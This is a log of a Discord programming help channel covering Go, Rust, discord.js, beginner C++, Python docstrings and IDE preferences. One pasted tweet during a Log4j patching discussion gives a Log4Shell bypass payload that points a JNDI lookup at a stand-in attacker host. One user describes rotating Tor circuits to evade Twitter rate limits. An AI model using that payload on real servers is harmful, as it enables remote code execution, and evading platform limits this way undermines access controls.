#development
1 messages · Page 81 of 1
Plikd
I use it for quick file passes to other people, and the delete after download functionality
And its written in almighty golang!
Oh great thanks for this... I cannot get onto their website for some reason? Is there a demo anywhere?
You can use one of my sites and demo on it, I'll dm a link
oh that would be great thank you
@slate frigate you saw this? https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
it's pretty insane
Some. Mobile is the other side of the shop from me
I'm currently watch the world burn with log4j
Unhandled exception at 0x71A0B530 in tetris.exe: 0xC0000005: Access violation executing location 0x00000000.
opengl and glew 32bit
can we please chill with the security issues this week XD https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
CVE® is a list of records — each containing an identification number, a description, and at least one public reference — for publicly known cybersecurity vulnerabilities. The mission of the CVE Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
when you thought cve-2021-44228 was already a huge pain the rear.... the fix for it creates another issue XD
but in the same breath its a 6.1 vs 10 on the security index.... like I would like neither, but will take a DOS attack possibility any day over an RCE
alright im pretty new especially with opengl so yeag
I mean not really from what I read
it's just saying the fix restricted it to localhost
but this didn't completely fix the issue and now by default JNDI LDAP lookups are completely disabled
Without any code execution, you can exfil any environmental variable with dns. And its jndi being completely disabled with 2.16.0
And things are going to remain forever unpatched for a lot of products. I hate java
Took my holiday leave and turned into a working vacation
that's my life right now 😦
flipped my whole schedule on its head.... i now work nights it seems patching the vulnerability for customers
For me its collating data and testing as many products i can think of to create detection rules and get ahead of any exploitation
Thank goodness my lab doesn't use any java
interesting
good way I think to learn some go, and write something useful
Does anyone know how to cross compile for aarch64 with rust? I have been running into an issue with linking the final binary. It appears t be trying to linking against a local /usr/lib/libc.so.6. When it should be linking against that on the sysroot.
@rancid nimbus a bandaid solution would just to link it to there.
Other than that, i know im unfamiliar with rusts environment
cargo install cross
cross build --target aarch64-unknown-linux-gnu
Cross relies on docker btw
My objective is to build Gnome Health for aarch64. I tried that and it doesn't recognize the environment variable for the sysroot.
lovely
just lovely
exactly what i want to see while working with node js
im converting this entire bot to python at some point this is just dumb
I wouldn't even do python
python isn't that much better
seems like coding error
I've been loving converting my python stuff to go
A lot of similar libraries already exist, and concurrency is way easier to deal with
Go syntax is just different that what I'm used to, just need to force myself to write in it to get used to it
Maybe its different for you, but it really feels like python to me
Really?
Like go has stuff like :=
Pointers
Pointers trip me up
Used to them in c, but not in go
So i actually REALLY like ":=" . lets me have declaring variables super easy in a local scope without having to think ahead for every little variable
As for pointers, I have a bad habit of not using them as much as I should anyways XD
Honestly though, for the systems and infrastructure stuff i mostly write, i don't really need em
Like I look at example code and it's pointers everywhere. Idk where I should and should not use them
Not to pimp my github, but take a look at my Pixy repo. Code I'm using in our lab for infrax provisioning, with I don't think any pointers
Will do
Not sure I understand what you are saying, hard to read that img but looks like it says unhandled promise rejection.
Any language you are going to want to account for handling errors. 🤷♂️
My go-to languages are c, asm, and go
Golang is pretty awesome
I need an Android app Developer.
for what? (im not one myself but knowing what's up will maybe make experienced people more likely to answer)
I'm planning on making a real time scraper of twitter. What could go wrong?
Python has very mature scraper tools, but most languages have scraper tools so you can kinda just go with whatever you want.
Do they not have an api you can just hit?
I don't want to use their API, as it requires a dev account, and I don't want traffic associated with a certain account, both for anonymity reasons and for portability as well. And golang has a great scraping that works through twitter's JS. It's just the real time monitoring of ALL global tweets that is going to be interesting
Then handling selecting and forwarding data of interest, while storing the rest until an age off period for later periodic searches
@wind horizon
Assembly
Look at benthos.
The default plugin does require an API key, but you can use the http plugin to make queries.
FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n
380
998
Simple http queries dont work without a LOT of work, both because of thier obfuscation of divs and classes on the page and because you have to run the JS
Colly is what I'm using
Colly is pretty good.
I'd be curious to know if/when twitter blocks you for scraping.
@slate frigate also, i wasnt aware colly could run JS
are you pulling the ppage with colly and running it through a headless browser or something?
@devout jewel Scratch that, colly is for my standard page scraping
That's what I'm using for twitter, and each query gets a new TOR circuit to bypass any rate limiting blocks
Okay, that seems way more reasonable
Yeah, made something with it before
do you realize the scale of infrastructure you'd need to actually scrape all tweets in real time?
probably wouldnt require much if you're just looking for tweets on trending topics or something
or from specific users
i can actually imagine a world where a low budget VPS can scrape a few hundred tweets per second
Yes. As many tweets globally as I can ingest, cold storage with age off for most, forwarding to a SIEM for tweets that hit on a selector
And no VPS, this is part of why I have my lab
like if you could process half a billion tweets a day globally on somebody's home lab setup.... Twitter wouldn't be spending millions on servers lmao
they spend millions on servers to handle all requests
but yes, selecting a few specific tweets on a topic is doable
not just retrieving tweet information
the amount of processing power needed to serve x tweets daily is roughly equivalent to the amount of processing power you'd need to scrape that same number of tweets daily. the web servers and app stuff is all gonna be cached heavily
Twitter has a fairly comprehensive engineering blog and they make it quite clear that the sheer rate of tweets is the hard part
not running a web server for their frontend
Thats all kinds of false. Its way easier to request than to host, I dont have the overhead of having to display the same tweet to millions at a time
yeah having to serve content to millions of people around the world with CDNs and such is hard
Chuck it in a database, put some bloom filters in place, and that should handle most of it.
right but that doesn't have anything to do with their server infrastructure
that's all on a CDN
if you were actually trying to scrape all tweets globally you'd be getting like at least 100Gbps of events
Twitter reports it averages 500 million tweets a day
yes
Broken down, thats only 6000 a second
plus metadata, plus loading an entire page if you're scraping html
Not full html, their frontend JS has an api that can be taken advantage of
Besides, just having concurrent runners can handle it
yeah
There's probably more than one
What do you need?
@devout jewel a little help with this using loop
we can help with specific problems, we can not do your homework. If you get stuck ask your question then
You know reading that problem made me realize just how weird it is ppl say 13 hundred for 1300. You never hear someone say 13 ten for 130. 😆
I can only give you some pointers here
No pun intended
I see two obvious approaches
The first approach would be to convert the number to a string and use array indexes to determine the tens place the 100s place the thousands place etc
The second approach would be to use modulo on the input number
I personally prefer the latter approach
@swift yacht the string approach will probably be easier because if you use:
int input;
char strInput[20];
scanf("%d", &input);
itoa(input, strInput, 10);
strInput[0] is the ones, strInput[1] is the 10s, etc
My answer may not be exactly what you're looking for but as you're working on it you are welcome to ask questions
hay does anyone know if Servvice workers dont work in chrome
They work
self.addEventListener('activate', function(event) {
// Perform install steps
console.log("activate")
});
self.addEventListener('fetch', function(event) {
console.log('Handling fetch event for', event.request.url);
event.respondWith(
caches.match(event.request).then(function(response) {
if (response) {
console.log('Found response in cache:', response);
return response;
}
console.log('No response found in cache. About to fetch from network...');
return fetch(event.request).then(function(response) {
console.log('Response from network is:', response);
return response;
}).catch(function(error) {
console.error('Fetching failed:', error);
throw error;
});
})
);
});
how do i get this to work in chrome
not all of my code
Uncaught (in promise) TypeError: Failed to fetch
works in firefox
oh dont worry i have fix it. it was a settingi changes
Only?
@grim hull realistically, yeah, its not that much. I've dealt with more/faster data before, albeit not with full custom written stuff
I suppose on a server sure, my home internet would die though
Is anyone in here familiar with discord.js / discord bots? I am trying to find a way to send a message to channel that only a specific user can see. I have seen other bots do this - but can't figure out how reading through the docs. The purpose is to try and avoid using a DM to send a message to a specific user.
const thread = await channel.threads.create({
name: 'mod-talk',
autoArchiveDuration: 60,
type: 'GUILD_PRIVATE_THREAD',
reason: 'Needed a separate thread for moderation',
});
console.log(`Created thread: ${thread.name}`);
await thread.members.add('140214425276776449');
Mind if I DM you?
im on a Terminal based Discord Client, so I cant see DMs, my user settings, or Member list.
Ah - I will just test and see if that works for us, thanks!
Be aware, this is just threads (Temp sub-scannels)
It seems to work though - I think lol - just need the end users to make sure it works for them
We want a way to send a verification link to specific users, without having to use DMs, since some people (like you) can't get DMs
If it's a slash command it's officially supported using ephemeral otherwise I think you have to get creative like the above. I think last time I read the official docs their recommendation was ephemeral for slash and DM for none slash commands.
The way we want to do it is you react to a post that says "React here to verify" or w/e - and then we send them a message with a link that goes to our website for them to login. That then sends a message to our bot that adds the role etc. We had originally built it using DMs, and that works fine - but we are rapidly figuring out that not everyone allows DMs so need alternative. We have seen that in some bots they just send a message that "only the user" can see in the channel, but haven't been able to figure out how. It looks like threads isn't the way the bots we have seen use, but it will work if we can't figure it out.
I think ephemeral is what the bots are using
this reddit post may be of value https://www.reddit.com/r/Discordjs/comments/l56oet/only_you_can_see_this_bot_message/
im not sure if it's applicable to your situation, but I remember a while back I was able to make a "private" message with those fancy interaction buttons which may be option if you cant get it to work with just a reaction
This is basically what we are trying to replicate.
With the dismiss message, it looks like its an ephermal message
you can make ephemeral messages without slash commands if you use interaction buttons instead, i'm not sure how you'd do that on discordjs though, as i've only done it on discordpy
so your "react to verify" could be "click to verify" if you go that route
ah yeah they have a button in the main post in the channel
so we get that message (the dismissable one) by clicking the button in the channel, it then sent the connect wallet message
So I guess I need to figure out how to get the button 🙂 that should then let me send the ephermal message
Do you have any idea what the button is called?
lemme try and find that out
Thanks, appreciate the help!
I had the whole bot built with DMs, was about to deploy it and then at our standup was told, oh dms won't work, ha
see if this helps any: https://discordjs.guide/interactions/buttons.html#building-and-sending-buttons
and heres the api documentation for buttons aswell: https://discord.com/developers/docs/interactions/message-components#buttons
Integrate your service with Discord — whether it's a bot or a game or whatever your wildest imagination can come up with.
That is super helpful. Thank you!

speaking of the discord api, are you all also incredibly annoyed about the message content intent application process essentially forcing devs to use slash commands for everything?
what annoys me the most isn't the fact they're pushing slash commands that hard (though that still annoys me), it's the fact they did it all while pretending it's about end user privacy
after like 3 days of trying to solve an issue. I can now encrypt entire directories :). just a video of me showing it working
I mean I cannot say how secure it is if secure at all because I have not had it professionally tested, by real cryptanalysis's. but i have looked around for certain tests that you can do to check how secure it is and it passed all those. really the only tests i could not do where ones where i could need to buy an oscilloscope but those cost a few grand. and to be able to get it profesionally tested will also cost a few grand i think
Imo an app should always be using slash commands / some form of interaction instead of processing the actual server messages. Less network traffic, CPU cycles, and risk when the app is only processing messages that interact with bots. They did mention apps like monitoring bots should get approved without issue.
I think it'll come down to how easy it is to get message content approved, if it's overly difficult I could see it being an issue.
I would have preferred to see a balance between this, by making apps that you install with message content access having a big alert / warning that calls out this permission the app wants separate from the other permissions. Helping educate the user what this app will have access to. I'd even require the app publisher to provide a custom message field that states why / what they need it for. With sufficient warnings like this I think you could skip the applying / approval process and rely on the end user to be smart or it's their own fault. haha
It does make sense for privacy tho
Before, every bot could see everything typed out
With slash commands, it's just the command
Saves on server load on both discord and bot
@simple harness are you rolling your own crypto, or using a standard algorithm?
I have been working on my own on/off for about 6 months now. You can look at it more on my github link in bio
@simple harness thats dope. Only thing I've ever implemented custom is stacking XOR's, lol
Thanks and it's its good to start off somewhere. If you wanna try make more complicated ones look at current algorithms like AES/Blowfish and read up about them and then try implement some of the things they do. That's what I started off doing. @slate frigate
Nah, the juice isn't worth the squeeze for me. Mainly did it for some "teaching" ransomware I wrote for a course
I got dudes I can send the complex crypto to, lol
Yeah. Cryptography can turn into ransomware kinda quick depending who is doing it 😂
I mean, right now none of the major ransomware groups are running anything custom. Usually chacha or aes of some variety
Where they get creative is how they seed the keys so a defender can't extract them from the ransomware binary
Yeah
Anything can be malicious
isn't control panel just explorer.exe?
but killing explorer.exe would also kill other explorer windows and windows shell, so maybe there is another way
okay then, good luck 😅
could be a mixture of spaces and tabs to indent
Ugh Python and it's indentation, I genuinely enjoyed coding in Python but could never get on board with the indentation being the scopes. Give me my curly braces. Lol
yeah, but that's clearly not why discord did it
lol, honestly to me python is the hardest to read popular language, i just can't handle the indentation based syntax at all
Not really
most things can be malicious
Malicious
taskkill /f /im program
If it's service management software then type services.msc
Like "taskkill /f /im services.msc"
@warped gulch ^
lol
python is the easiest to read imo
pretty much every ide supports automatic indentation
so indentation errors should never happen
and y r u using python2
use python3
To me it's just kind of like, why did someone even think it was useful to use indentation for block s? Feels like something someone would do for fun as an experiment. 😆
Nothing against Python, I have wrote my share of it and I loved how easy things like Django are to bootstrap a quick app with full admin interface and all packed in free. It reminded me a lot of Ruby on Rails, I felt like a lot of Ruby and Python read like English not code.
It's not my personal taste / liking and I have mostly stopped writing it, but it's a solid mature language. I just never enjoyed indentation being used for blocks.
Best thing i ever did was pay for Jetbrains. It handles all the semantics of code in any language for me, and just lets me focus on the logic
Spaces? Tabs? Semi colon at the end of every other line? Auto format has my back covered
Yeah I used to use JetBrains, but they lagged on Typescript support in the early days and I ended up drinking the Vscode kool-aid. Lol
I remember starting out (python), and only ever using a text editor of some kind
I feel like I was a madman
They taught us java and we were only allowed to use notepad++
Imo, thats more madenning
Can OpenJDK and Oracle JDK do almost the same thing? Or they differ a bit.
One thing I noticed when checking the video module and the Java source code that was on the video is that, when my teacher types non-int value it should go back on top of do-while statement. Mine just quit with my OpenJDK.
There should be very minimal if no difference between OpenJDK vs Oracle JDK other than the license. Small differences sure, but almost nothing you should need to worry about.
Hmmm, I might try to run the Java source code inside a Windows VM with Oracle JDK since it bothers me .
fwiw, in one of the 2 times i used yaml, which is indentation based, there was an indentation error, while in the almost a year i've been using json for many things, i can't remember ever making a single syntax error, but anyway that's not the biggest thing for me, it's just that i find code without braces to be very hard to read, even if it works properly
i also quite hate being able to do
x = "nya"
x = 1
x = True
print(x)
that's also the thing that makes me dislike javascript, though less than python
typescript exists though so that's nice
Nah, whitespace that matters is annoying
I like my curly brackets
I too am team-curly.
iso i figured lets take this documentation writing serious(finally :), i usually just throw
#comments for future self
in between my code , coments that my brain knows to instantly work out , but confuses other programmers (not an issue until recent) stuff like:
dct=[] (not ><<>> or {}) <- i can see why this confuses others 🙂
so i'm looking into doctrings and writng documentation for over a day now and i know nothing more on how to write them , as every site i find on it claims something else and my ide (pycharm for the moment but if it remains uncooperative im switching back to aptana or finally spend some time setting up eric6) throws warnings when trying to apply the guidlines given by the sites.
what ive got: , docstrings document a function and use this scheme:
def function(a,k='val'):
"""
dummy function that does dummy things
:param a: (str) argument for dummy
:param k: [default]='val' keyword for dummy
:return: dict(arguments : values) (b={})
return b
"""
i figured """ since pyharm auto completes it whit the :param and :return and closing """
it also does this (the same) with ''' only then it gives the warning: tripple double quotes should be used for docstrings...
but what then is ''' suposed to be used for? i can see why three (opencloseopen closeopenclose self closes again while still encapsulating the contents) but what then about single ' and " ,
in the end its all conventions and you do what you want aslong as the interpreter gets it and it works
but since i read that there is somethiung like using docstrings? for automated unit testing and also creating hel/man pages from docstrings , als python.click seems to use """ for creating the --help for the command and arguments and the program.
so for convention what are these used for that might be worth taking note of and also does indetation of the docstring and or coments have any conventional rules?
this is a comment
TODO: what should be here in the future
"string comment" or """sting comment"""
'other string comment' or ''' other string comment '''
'''
multiline string
comment
'''
if the last one is a multiline whats the use for ''' single linecoment'''
lastly if """...""" not used directly under a def fucntion(): is it still a docstring and whats it used for?
problems arise when someone else has to deal with your code
Gonna be honest, that was so long I didn't read it. 😅
Indeed, it's a wall of text
Really cool to see stuff like this that helps to encourage the next generation of devs to get started;
Anyone know PHP?
Someone does
Can only agree with Kyou here. Someone's got to maintain all those old Forum Software. Honestly, I'd rather go with a standard Frontend/Backend approach...
Lots of people pop in and out of chat, so you'll prob get a quicker answer if you post the question instead of waiting for someone to reply with "I do". 🙂
How can I fix my menu going funny after performing an input?
I should be start working on my slideshow for my defense.
System.out.flush()
hmmm
this is kinda dumb but how do you set up the launch.json in VSC
im trying to set it up for c++
Did you read VSC docs
im too dumb to comprehend it but i'll try again later
yes i did read it
Anyone have any clue what could I do if make fails here?
Seems OpenSSL issue to me
Someone knows js?
someone does
so, i am currently developing an app where there is a list and you can add stuff from that list to a favorites. is tapping and holding or a swipe gesture on the list more user friendly way?
what's your design.
some might prefer the typical star button.
I like swipes
star button for sure
if u need it to be either tapping and holding or swiping, swiping is a lot less infuriating to use
What would be a secure way to serve PHP files from a folder eg:. /home/marcell/public_html using Apache?
I have an idea giving read and write rights to apache in that directory is not a good idea.
However, I would think marcell:marcell would be the perfect, yet using that way, I am getting 403 error.
Another +1 for tapping, if you have swipe be sure to hint new users to the swipe design since they may not just know as compared to seeing say a star or bookmark icon are common enough most users know what that does.
Holding would be a huge negative to me, I only like to hold on things that I rarely use / extra options.
I work in JS a lot.
great, i love js, how did you learn it?
Watched videos online, I already knew some scripting like bash, PowerShell, and some Java and VB. So I think it was easy for me to just watch videos instead of needing a whole program.
If you need a whole program and in a budget I'd suggest one of the learning platforms like TreeHouse. I think Front End Masters may have start to finish course, but not 100% sure.
If you aren't on a budget a code academy / boot camp can be a good option. Just research around and find a reputable one, I have worked for a few employers that will accept boot camps for entry level engineering roles.
Thx
@bronze summit Jetbrains IDE's have full linux support! I know thats not getting VS to run on linux, but they're still very full featured IDE's
alright thanks so much 🙂
Probably not the best idea
Now that i think about it, dunno if someone did it over wine
Yeah it's not officially supported, there are many great IDEs that are cross platform though if switching is an option for you. 👍
Also there are cloud IDE options these days, which work on any browser. I think it just comes down to what language and features you want.
online/cloud IDEs suck tbh
Nah, they just don't work good for everything. All about using the tool that's best for you and the problem. 🙂
If you are collaborating then they are good. For load times and compiling time they are sjust soooooooooo sssssssslllllllllloooooooooowwwwwwww
Any swift devs here? 👀
I have never had an issue with speed of them, but it would be effected a lot by each person's internet and location.
My biggest issue with online IDEs has always been the more limited eco system, usually less extensions and what not to customize it. However I guess that has changed with hosted versions of Vscode.
However collaboration and pickup on any device is super nice / seamless feeling. I wonder if any of the online IDEs are PWA yet, so you can use it offline and get the speed of offline even if your internet is acting up. It'd just slow sync in the background. 🤔
I wonder if any of the online IDEs are PWA yet
doesn't that kinda defeats its purpose
a native IDE with online sync might be better
than a PWA
Well it'd require no install and work on anything with a browser, so think like a locked down library computer or a Chromebook. If you wanted to collab or work on someone else's comouter no need to install anything, just shoot a link.
But you'd be limited while in offline mode of a PWA to pretty much only writing new code / no compiling unless you somehow linked it to a local compiler which then would be silly. Well JS you could still run the code I guess in browser.
Just the idea of pairing online IDE with offline benefits.
Expanding on that what if it was a full product offering for sync local IDE to the cloud, which comes with a cloud IDE.
So you can have local IDE on your powerful work comouter, then jump on your Chromebook while out picking up right where you left off on the home computer.
No committing or pushing files and the whole IDE feels very similar. I guess todo that the IDE ideally would be the same, so I think you'd be boxed into stuff that can be hosted, like Vscode.
Eclipse's Che is a cool self hosted cloud IDE/dev environment
So Google and DDG are no use because everyone has the terms hack for Alexa. I'm looking for something to allow me to replace the firmware on the Alexa devices with something open-source like MyCroft. Ideas?
I mean I guess I could roll my own with a speaker and mic embedded in the ceiling ran to a raspberry pi with it. Which much be the best scenario.
Che is fucking awesome
I have heard great things about Che, I haven't gotten around to trying it yet. I find once I get "comfy" in and IDE it takes a lot to get me to switch. Lol
I can't remeber if my first IDE was Eclipse or Aptana, which was based on Eclipse I think. I don't use either now, but I remeber when I was a teenager those came free on the Linux distro I used and I thought I was so cool using an IDE to write my little scripts. Lol
Syswow
Why would you need that anyway
Are you actually using a 32bit system
Which is the configure the ssh server
Isn't it accessible by the typical sys32
whats a good way for getting into php? need it for school project'
Been doing some pretty stupidly intense compiles/builds today. Can't imagine doing them without 48 cores at this point
Learn it
I actually want to use my 16core because it's underutilized
My work provided a laptop
But i want my pc to take the heavy lifting instead
What language? Could always set up a remote compile farm
Yea for c++. I'll do that. But my current project is c#/. net
So visual studio and sht
I even want to clone and build the project on a vm on my pc instead. But meh company policy and safety etc
The poor laptop sounds like a turbo jet when i build the proje t
Poor guy
THANK GOD, finally got my app to properly display data. Gotta love reviving defunct projects.
that cursor tho
Stares in Houshou no Ichimi 
dont even know what you said
it's Houshou's Crew
This is very frustrating, I've been trying to get launch.json in VSC to work so I could debug my C++ code but I always can't get the program directory part right, I get that this maybe a simple thing, but for a while I just couldn't get it to work, and yes I have read the documentation as best as possible but it isn't working for me
Ok
This is why I hate my company provided MacBook, they get so hot and are so slow and intensive work loads like this. I have had mine over heat a crash just from installing dependencies. 🤦♂️
interesting, the m1 seems to handle fine
but from what I can see, it is a "customised" macbook for developers
dunno what that means
Yeah M1 makes a lot less heat than the Intel chips did.
Even my M1 MacBook Air does better than my work 16in 2020 MBP.
The thermals on MBP are just terrible throttles super fast and the fans can't keep up. I sometimes put an icepack on the bottom of it when I'm doing stuff haha.
Never had a MBP to dev onto
so can't relate
I use typical portable heater that also happens to run windows
Thermals were a clear afterthought on the MBP's. All about that form over functionality.
nothing says 'pro" better than burning your hands in the keyboard
nothing says "pro" better than having your s t a c k o v e r f l w keys be completely destroyed from abuse
oh i misread the conversation, point still stands though
anyone have a simple/lightweight ci/cd that integrates well with gitea to recommend?
@spring cradle i think jenkins has integration with gitea
haha not seen it allot but nothing used to say "pro" like molten plastic and brown scorches in between [esc] - [F1],[F4]-[F5],[F8]-[F9],[F12][PrtScn/SysRq]... 😄
depending you could look into 'icecream'( https://github.com/icecc/icecream : no idea if this works on osx ) or at least at distcc(wich does work on osx (https://macappstore.org/distcc/), and ask your boss for a connection (vpn) directly into the main company workhorse server 😄 )
whats a good programming lingo to start with and be able to work on games
what the what is that
Don't look for the language
Look on what kind of games do you want to build
Check unreal engine
Check unity
Etc etc
Start there, they have great tutorials to get your feet wet
I recommend unreal engine.
Triple a games there. (Not implying you cant make with others)
but still is there any beginner friendly lingo? what would be the best one to use in unreal maybe?
Are you in college or highschool or something
I used game maker in the past. The concepts and skills are useful. But you still need to endure the pain
I'd reckon c# + unity much much easier than c++ and unreal
So check unity first
ill then try unreal
what does immediating children mean?
Hey.
I am trying to add symfony/process, though I am getting this error.
Running Laravel 8, is it possible the 'process' is not updated yet or something?
Using version ^6.0 for symfony/process
./composer.json has been updated
Running composer update symfony/process
Loading composer repositories with package information
Updating dependencies
Your requirements could not be resolved to an installable set of packages.
Problem 1
- laravel/framework is locked to version v8.77.1 and an update of this package was not requested.
- laravel/framework v8.77.1 requires symfony/process ^5.4 -> found symfony/process[v5.4.0-BETA1, ..., 5.4.x-dev] but it conflicts with your root composer.json require (^6.0).
Use the option --with-all-dependencies (-W) to allow upgrades, downgrades and removals for packages currently locked to specific versions.
Installation failed, reverting ./composer.json and ./composer.lock to their original content.```
Any ios dev here .. i am going to buy m1 pro as my daily driver just wanted to know if 16gb ram enough for xcode and simulator
I am talking about complex projects not todo apps 😛
@hearty elm eh. Probably. Doesn't sound like anything particularly ram intensive
Xcode takes around 3-4gb ram for me, the simulator itself takes as much ram as the app it’s running, so it shouldn’t take more than 4gb ram - that leaves you with 8gb, macOS takes a small portion of that so by then you’ll probably have around 6gb ram for browser and other misc. stuff
I'm a Full Time Linux User and coding atm in Ruby for a Windows Application... i notice sometimes cmd stucks and i need to press Enter to wake them up and going on... why Windows? Never seen this behavior in Linux..
I have had this same behavior with Python and Node in Windows.
If you don't need to execute it on Windows WSL is a great option to dev on a Linux container in Windows. Just be sure to use WSL 2 w/ docker for the best expierence.
If WSL is not an option I also had better luck with other shells, like git bash.
not sure if that's what's happening to you but it caught me off guard when i was learning to code and i used windows, if you click anywhere on cmd it will go into select mode, where everything pauses until you press esc (and i assume enter too)
that's a good idea 🙂 but im more interested on why this happens 😉
ahh that can be.. i know this State but it confuse me maybe if i accidentally get in this select mode.. and yeah its my first Programming Project 😛
so, i'm trying to make my own cross platform DiscordRPC implementation in kotlin, not relying on any native libraries, DiscordRPC uses pipes in the named pipe virtual filesystem on windows, and FIFO sockets on linux, but the RandomAccessFile constructor doesn't seem to recognize sockets as a file, even though (afaik) they are accessed by the same syscalls
relevant code:
var newPipe: RandomAccessFile? = null
for (i in 0..9) {
val normalFile = File("$location/discord-ipc-$i")
val notFound = "Discord pipe $i not found, skipping"
println(normalFile.path) // Pro level debugging kek
try {
if (!normalFile.exists()) {
LambdaMod.LOG.debug(notFound)
continue
}
newPipe = RandomAccessFile(normalFile, "rw")
break
} catch (e: FileNotFoundException) {
LambdaMod.LOG.debug(notFound, e)
}
}
if (newPipe == null) {
throw DiscordException("Could not connect to discord, no available pipes")
}
pipe = newPipe
it says "/run/user/1000/discord-ipc-0 (No such device or address)"
every time i decide to give pycharm another go (figuring must by the most popular python IDE out there for a reason,... but it baffles me every time both the program and whatever reason people why use it,... going back to Eric IDE but version 7 never seen anything as remotely fustrating when using eric like this
and not everything in linux(/unix) is a file even if they say so , but i dont know in your case it seems to be a socket not a file
@deft sigil You can modify what it alerts on.
not abouut the alerts jsut the fact that they dont get recognised , not clickable and the whole inspection thing is broke because of this , completion not working , if you look at what the warnings say , it should be clear that they make no sense at all
Community or professional?
I just copied the code, and I don't get those warnings
@deft sigil
getting this error while trying to install a flutter package with pubspec.yaml:
git: 'remote-https' is not a git command. See 'git --help'.
can sb help me out?
Installing libcurl / curl with pacman didn't work
Can you show youe command
Consider this diagram (just a way to visualize directory) So immediate children of 1 will be 2 and 3.
All descendents of 2 will be everything below it
you'll have to learn C++ at some point in your career though if you are gonna work on big studios
so i’m trying an arduino project where i’m using completely new parts. one of them is the DHT11. My issue is i imported the library (dht11.h) but it still says there’s no file or directory. this is the only library doing this. can anyone help me?
Try looking into your include directory settings
Hey so I'm wanting to work on some projects for my portfolio that I plan to be free and open source. I want to make sure I choose the right license for github to ensure any code I create is open source and share alike, and that anyone using the code would also release the work for free. Does anyone know about github licenses and how to set that up? Or else know a guide on how to do so?;
@livid jungle For all intents and purposes, sounds like any of the major licenses would work for you
MIT license - Anyone can use it for anything
Apache - Mostly the same, but more notices to changes and crediting authors
GPL - Copyleft. software that uses any GPL-licensed component has to release its full source code and all rights to modify and distribute the entire code
These are a generalization, but cover the gist of it
Awesome thanks I'll look a bit into each of them then and see what makes the most sense for the projects I'm working on;
Favorite Python IDE's?
Go for GPL, basically your code is open and all of the people using them must also make it open
VSCode, PyCharm
Pycharm and vim
VS Code and nano 😎
That's a text editor, not an IDE kek
Want to switch to all products pack but it won't be my moneys worth
But alsk don't want to buy 2 full year license
Yeah, their pricing model is rough in that respect
Imagine if they have a build your bundle kinda thing
I only use intellij from jetbrains but i never saw the point in getting the paid version
Yea good thing they provide community edition
I'm mostly using vscode these days, every once in a while I open sublime. I have the JetBrains suite on the work laptop, but now I'm too used to vscode to got back. Lol
The one thing I LOVED in JetBrains was the local save history, which works a bit like githistory. Being able to diff and revert to local changes is pretty awesome.
Honestly local history is something they need in document writers, so much better than simple undo / redo.
Vscode and pycharm
yo can someone help me a bit with vscode
yeah i started learning c++ today and im having troubles with one if ... else ... statement
using namespace std;
// starting questions
int main()
{
double num1; // first number
cout << "Enter your first number; " << endl;
cin >> num1;
double num2; // second number
cout << "Enter your second number; " << endl;
cin >> num2;
char operat; // choosing
cout << "What do you want to do? (M-multiply/ D-divide)" << endl;
cin >> operat;
if (char(operat) = 'm') {
double res1 = (num1 * num2); // multipl.
cout << "The number you're looking for is: " << res1 << "." << endl;
} else if (char(operat) = 'd') {
double res2 = (num1 / num2); // divisi.
cout << "The number you're looking for is: " << res2 << "." << endl;
}
return 0;
}
i know it looks horrible but its my first hour of doing it
no matter what character i type - m or d - it never does the division part
i tried doing it with strings
that's not vscode
and replacing the "cin" with "getline" but it didnt work
but it was done in vscode
doesn't matter
ok
does it have to be == ?
it does
bruh im stupid
nah, you'll get there in no time.
syntax error are common when just starting
thanks for the help
Also, for stuff like this, case is nicer than chaining if/else's
python be like
he probably not on that part of the tutorial yet
don't overwhelm him
😛
yeah i didnt even watch the if/else part, i just winged it
was close tho
Not a c++ guy, but these are switch/case statements
#include <iostream>
using namespace std;
// starting questions
int main()
{
double num1; // first number
cout << "Enter your first number; " << endl;
cin >> num1;
double num2; // second number
cout << "Enter your second number; " << endl;
cin >> num2;
char operat; // choosing
cout << "What do you want to do? (M-multiply/ D-divide)" << endl;
cin >> operat;
double res1 = (num1 * num2);
double res2 = (num1 / num2);
switch(operat){
case 'm' :
// multipl.
cout << "The number you're looking for is: " << res1 << "." << endl;
case 'd' :
// divisi.
cout << "The number you're looking for is: " << res2 << "." << endl;
}
return 0;
}
oh so its like if the case is variable with m, do res1
Thou shalt drink from the fire hose, and thou shalt like it 😛
@twilit beacon More like "In the case of operat being 'm', do this. In the case of operat being 'd', do this"
thanks for the help
forked or scratch
Scratch, of course!
links
Still got testing to do, and features to add, but it connects to my email server, lets me scroll through emails with the arrow keys, then press enter to individually read an email
oh wow, go really seems concise. cause you made a TUI with this lines of code
I might go and try it out
admitedly, the library I use to handle the tui elements (bubbletea) handles a lot of the BS.
I've done tui's from scratch, scratch, and its just super gross
i mean, might go with c so i can torture myself more
it's either C/C++ and ncurses or a higher level language with a better UI fw
lol, I'm past the point in my life where I'm willing to torture myself like that
Look.... lol
If it ever dies, I'm not going to try recovering it. It shall die in unholy fire
and fire it shall
how do i put it under a switch
you didn't teach him the break
Don't need a break for that ^
let's wait when he chooses m
I treat go as the python of compiled languages. Easy to learn, easy to read, but still powerful enough to perform well
agreed on the easy to read
I can read your project just fine even though I have no experience
would this be a correct implementation of break?
You want something like this
switch(operat){
case 'm' :
// multipl.
cout << "The number you're looking for is: " << res1 << "." << endl;
break;
case 'd' :
// divisi.
cout << "The number you're looking for is: " << res2 << "." << endl;
break;
}
You're "breaking" out of the statement
so break has to be in the same horizontal locations as cout
Inside each case, yes
yea
but please don't put it on the actual same line of code
there we go, fixed it
-multipl
-divisi
-addit
-subtr
?
@hollow basalt You ever see this?
https://github.com/binji/pokegb/blob/main/pokegb.cc
oh noes, the formatted code
Simultaneously cursed and blessed.
reminds my of c++ donut
or is that actually c++, can't remember. just the code that's styled as a donut that renders a 3d donut
cursed macros
found this absolute gem on reddit
my latest project(this is a very early test so dont expect much)
animations are coming
severe lack of fire breathing robot dragons
is applying for student plan in unity worth it?
My advice is apply for every thing
Enjoy the studetn licenses and discount
Cause pro tools are kinda expensive
Github student developer pack 
You're going to have to compute multiple paths at once, and branch off a new path at every node that has multiple choices @pearl crow
I'd recommend creating some object that you can clone and pass that keeps track of the path up to that point, and places it in a queue to wait for a free thread so you don't just spawn a new thread at every branch
